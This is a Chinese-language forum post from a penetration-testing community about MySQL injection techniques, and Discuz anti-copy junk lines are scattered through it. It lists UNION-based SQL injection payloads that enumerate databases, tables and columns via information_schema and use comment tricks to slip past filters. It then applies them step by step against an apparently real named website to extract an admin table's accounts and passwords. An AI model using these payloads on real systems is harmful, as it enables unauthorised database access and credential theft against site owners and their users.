中国网络渗透测试联盟
标题:
mysql注入技巧
[打印本页]
作者:
admin
时间:
2012-9-13 16:29
标题:
mysql注入技巧
查库
0 t+ k4 i8 }9 X/ f
- f( c; ^/ P/ S- U% b/ o, A% p+ @
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
' j& L' U! f3 G$ ]! t" c
6 R- f% W' b2 R/ q3 b" k! o6 D
查表
. G+ E1 e* Q' t# G% S
: F1 S+ j9 o( m) P* H- p
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
) v0 _9 A, `8 B2 S0 j
' V$ O( e: [! B0 E- N h
查段
0 k# G: z8 u) }9 p% G d3 W
: [! M) c+ S5 G9 l" a$ P |; E0 u
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
# a# f. K/ V1 Q. {* Y
7 r; m4 [# n4 F4 _. T
7 P5 Y. S- L+ G% V
mysql5高级注入方法暴表
0 x* {8 L0 k) V0 {; f. c* j
5 u6 n* n- P1 A: {
例子如下:
* C5 z( }. w! Z
# x8 H* M$ `& r" }
1.爆表
q* \: u1 D% O
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
2 U4 Z" z2 n1 c3 Z4 Y7 `
这样爆到第4个时出现了admin_user表。
, K8 o: f1 X- h9 t% n4 ]* B' `
- @# u @. t: D D8 ^8 i
2.暴字段
* O' a" m+ E4 Y u( t" U: C7 \
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
' s6 j' _/ q" P" _8 K
# F, {& K& Z3 a4 r" b
1 p; X5 V( Q8 A/ K3 W
3.爆密码
& V+ _& Q' S" ^6 k( I
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
6 z, S/ M1 B2 e( f7 C3 u* N- W
! \/ l' U1 ^5 M* M! U" h
9 X- E H- V) `1 `6 D, y2 l5 d
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2